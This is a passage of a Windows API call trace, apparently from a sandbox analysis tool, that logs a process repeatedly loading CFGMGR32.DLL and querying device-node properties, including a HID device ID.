0x20abc2819a0 [0209.507] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2d, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0209.507] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x38a2ff71, dwHighDateTime=0x1d9eb0c)) [0209.509] SetEvent (hEvent=0x248) returned 1 [0209.513] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.513] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.516] malloc (_Size=0x18) returned 0x20abc281e00 [0209.517] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0209.517] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38a565ed, dwHighDateTime=0x1d9eb0c)) [0209.518] SetEvent (hEvent=0x248) returned 1 [0209.523] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.523] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.526] malloc (_Size=0x18) returned 0x20abc281e60 [0209.527] CM_Get_Device_IDA (in: dnDevInst=0x2e, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HID\\VID_1532&PID_0102\\6&377ACEB1&0&0000") returned 0x0 [0209.527] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x38a7cb45, dwHighDateTime=0x1d9eb0c)) [0209.527] SetEvent (hEvent=0x248) returned 1 [0209.531] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.531] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.534] malloc (_Size=0x18) returned 0x20abc281b60 [0209.534] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0209.535] malloc (_Size=0x124) returned 0x20abc286890 [0209.535] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0209.536] free (_Block=0x20abc286890) [0209.536] malloc (_Size=0x48) returned 0x20abc2a8be0 [0209.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x38a7cb45, dwHighDateTime=0x1d9eb0c)) [0209.537] SetEvent (hEvent=0x248) returned 1 [0209.674] malloc (_Size=0x18) returned 0x20abc281e20 [0209.674] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0209.674] free (_Block=0x20abc281e20) [0209.674] malloc (_Size=0x18) returned 0x20abc281ec0 [0209.674] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0209.674] free (_Block=0x20abc281ec0) [0209.674] malloc (_Size=0x18) returned 0x20abc281fa0 [0209.674] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0209.674] free (_Block=0x20abc281fa0) [0209.674] malloc (_Size=0x18) returned 0x20abc281d20 [0209.674] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0209.674] free (_Block=0x20abc281d20) [0209.674] malloc (_Size=0x18) returned 0x20abc281f60 [0209.674] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0209.674] free (_Block=0x20abc281f60) [0209.675] malloc (_Size=0x18) returned 0x20abc281ae0 [0209.675] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0209.675] free (_Block=0x20abc281ae0) [0209.675] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0209.675] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0209.675] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0209.675] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0209.675] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0209.675] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0209.675] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0209.675] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0209.675] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0209.675] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff40, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.676] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff48, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.676] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff50, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.676] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff58, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.676] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff60, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.676] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff68, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.677] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0209.677] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0209.678] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.678] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.681] malloc (_Size=0x18) returned 0x20abc281c60 [0209.681] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0209.681] malloc (_Size=0x4) returned 0x20abc286c00 [0209.681] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286c00, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286c00, pulLength=0x2dc22fd3f8) returned 0x0 [0209.681] free (_Block=0x20abc286c00) [0209.682] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x38be4b3f, dwHighDateTime=0x1d9eb0c)) [0209.682] SetEvent (hEvent=0x248) returned 1 [0209.684] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.684] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.688] malloc (_Size=0x18) returned 0x20abc281ea0 [0209.688] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.692] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38c09366, dwHighDateTime=0x1d9eb0c)) [0209.693] SetEvent (hEvent=0x248) returned 1 [0209.695] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.695] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.698] malloc (_Size=0x18) returned 0x20abc281de0 [0209.698] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.699] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38c09366, dwHighDateTime=0x1d9eb0c)) [0209.699] SetEvent (hEvent=0x248) returned 1 [0209.702] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.702] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.705] 